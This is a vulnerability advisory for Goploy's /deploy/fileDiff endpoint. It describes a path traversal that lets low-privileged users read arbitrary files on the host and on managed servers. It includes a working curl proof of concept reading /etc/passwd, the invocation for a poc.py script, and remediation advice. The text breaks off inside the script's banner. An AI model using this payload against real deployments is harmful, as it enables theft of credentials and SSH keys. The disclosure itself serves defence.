Goploy: Arbitrary File Read via Path Traversal in /deploy/fileDiff allows Remote Server Compromise

Goploy System Arbitrary File Read Vulnerability

Basic Information

• Vulnerability Name: Goploy Endpoints Arbitrary File Read via Path Traversal
• Affected Product: Goploy
• Known Affected Versions: <=1.17.5

Vulnerability Description

Goploy is an open-source automation deployment system. A severe path traversal vulnerability exists in its backend API endpoints, specifically /deploy/fileDiff (File Compare), when handling file paths provided by the client.

The original logic of this endpoint is to read a local project file and compare it with a file on a remote target server. However, due to insufficient validation and sanitization of the filePath parameter, and the lack of security constraints on the final absolute file path, malicious paths containing ../ are directly executed within the system.

This leads to a dual arbitrary file read issue:

1. Local Host File Read: os.ReadFile is tricked by the directory traversal payload to read any file via its absolute path on the Goploy local host (returned in the srcText field of the response body).
2. Remote Controlled Server File Read: Subsequently, the same payload is utilized via the SFTP protocol on the target server pointed to by the serverID. Influenced similarly by the directory traversal, it reads any file on the configured remote server (returned in the distText field of the response body).

The threshold for exploiting this vulnerability is extremely low, and the conditions are very easily met. The system comes with a built-in member role upon default installation, which is granted the "File Compare" permission by default. This means that as long as a normal low-privileged user is added to the system, they inherently possess the basic privileges required to call the vulnerable endpoint. The only prerequisite for the attack is that at least one project and one associated server are configured in the system.

An attacker only needs to specify the correct namespace header (e.g., G-N-ID: 1) via a packet capture tool to bypass simple restrictions. By enumerating available serverId parameters, the attacker can successfully execute path traversal via this endpoint, reading arbitrary files on both the local Goploy host and all remote target servers managed by Goploy.

Steps to Reproduce (Proof of Concept)

Theoretical Steps (See concrete steps below)

1. Obtain Normal User Privileges Log in to the system using any registered low-privileged account to obtain valid authentication credentials (Cookie/Token) and its corresponding authorized Namespace ID.

2. Construct Malicious Request Send a POST request containing the directory traversal characters ../ to the target endpoint /deploy/fileDiff, while including the G-N-ID header.

   PoC Example (Reading /etc/passwd and enumerating serverId):

   curl -s -X POST -b "goploy_token=<valid_cookie>" \
        -H "Content-Type: application/json" \
        -H "G-N-ID: 1" \
        -d '{"projectId":1,"serverId":1,"filePath":"../../../../../../../../../../etc/passwd"}' \
        "http://<target-host>/deploy/fileDiff"
   

3. Reproduction Result The server will return the complete contents of the /etc/passwd file from both the host and the remote server.

Concrete Steps

1. Environment Setup Published an arbitrary project using the super admin account:

   <img width="1919" height="428" alt="image" src="https://github.com/user-attachments/assets/8618a038-9088-45b4-804a-5541e243c6a8" />

   Configured two managed remote servers:

   <img width="1896" height="399" alt="image-1(1)" src="https://github.com/user-attachments/assets/89cfa086-d20b-448e-9cf7-1af5798e3cfe" />

   Created a normal user and assigned the member role (which includes File Compare permission):

   <img width="1910" height="343" alt="image-2" src="https://github.com/user-attachments/assets/b8dda364-c23d-4496-a555-ff477c511d31" /> <img width="951" height="364" alt="image-3" src="https://github.com/user-attachments/assets/0e20cbed-7341-484c-b0a7-0fcd6ca2fea6" />

2. Obtain Normal User Privileges Log in to the system using the registered test account to obtain valid authentication credentials (Cookie/Token).

   <img width="1916" height="712" alt="image-4(1)" src="https://github.com/user-attachments/assets/a269b79f-a666-4f3a-95c4-40621e1fbbc2" />

3. Execute poc.py (See below)

   • Parameter Explanation: -u : Target URL -t : Target Cookie/Token to use -f : File to read -s : ID of the managed server to read from

   • Reading from the first managed server (Server ID: 1):

   python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 1
   

   <img width="1173" height="608" alt="image-6(1)" src="https://github.com/user-attachments/assets/e442c247-3ebf-449f-94df-2b2b533b9449" /> <img width="870" height="190" alt="image-5" src="https://github.com/user-attachments/assets/9e53b13a-915c-4f5e-b1bc-f0b3c0b64656" /> <img width="1173" height="231" alt="image-8(1)" src="https://github.com/user-attachments/assets/54e77e8a-259d-4f74-bf31-1a9625bcbe52" />

Impact

Through this vulnerability, an attacker can bypass authorization to read any sensitive files on the host machine as well as all managed target servers. For example:

• Read /etc/passwd or /etc/shadow on the local or remote target servers to obtain host system user information.
• Read users' SSH private keys (e.g., ~/.ssh/id_rsa) across different systems, enabling passwordless SSH access to the host or cross-network connections to other servers to steal administrative control, achieving the equivalent of Remote Code Execution (RCE).
• By enumerating the serverID, an attacker can use Goploy as a jump server (bastion host) to conduct large-scale information theft against all bound deployment target systems.
• Obtain various critical configuration files, database credentials, etc., of the affected systems.

Remediation Suggestions

1. Input Parameter Filtering: Strictly filter special characters such as ../, ..\, and %00 that can cause directory traversal and truncation when receiving and processing file paths provided by clients.
2. Path Whitelist Constraints: Use built-in functions like filepath.Clean to format the path. Before executing system file read/write operations, strictly verify whether the parsed absolute path prefix is within the legitimate restricted directory scope allowed by the application (such as a preset sandbox directory or project workspace).
3. Principle of Least Privilege: The environment or Docker container running the Goploy service should be executed with low-privileged user identities whenever possible, to mitigate the risk of sensitive system files being read.
4. Comprehensive API Audit: Apart from the APIs mentioned above, there are multiple other APIs that suffer from similar path traversal vulnerabilities. If users obtain the corresponding permissions, it can lead to arbitrary file reads or even writes.

poc.py

#!/usr/bin/env python3
import requests
import argparse
import sys
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
    print(r"""
  ____             _               ____       ____ 
 / ___| ___  _ __ | | ___  _   _  |  _ \ ___ / ___|
| |  _ / _ \| '_ \| |/ _ \| | | | | |_) / _ \ |    
| |_| | (_) | |_) | | (_) | |_| | |  __/ (_) | |___ 
 \____|\___/| .__/|_|\___/ \__, | |_|   \___/ \____|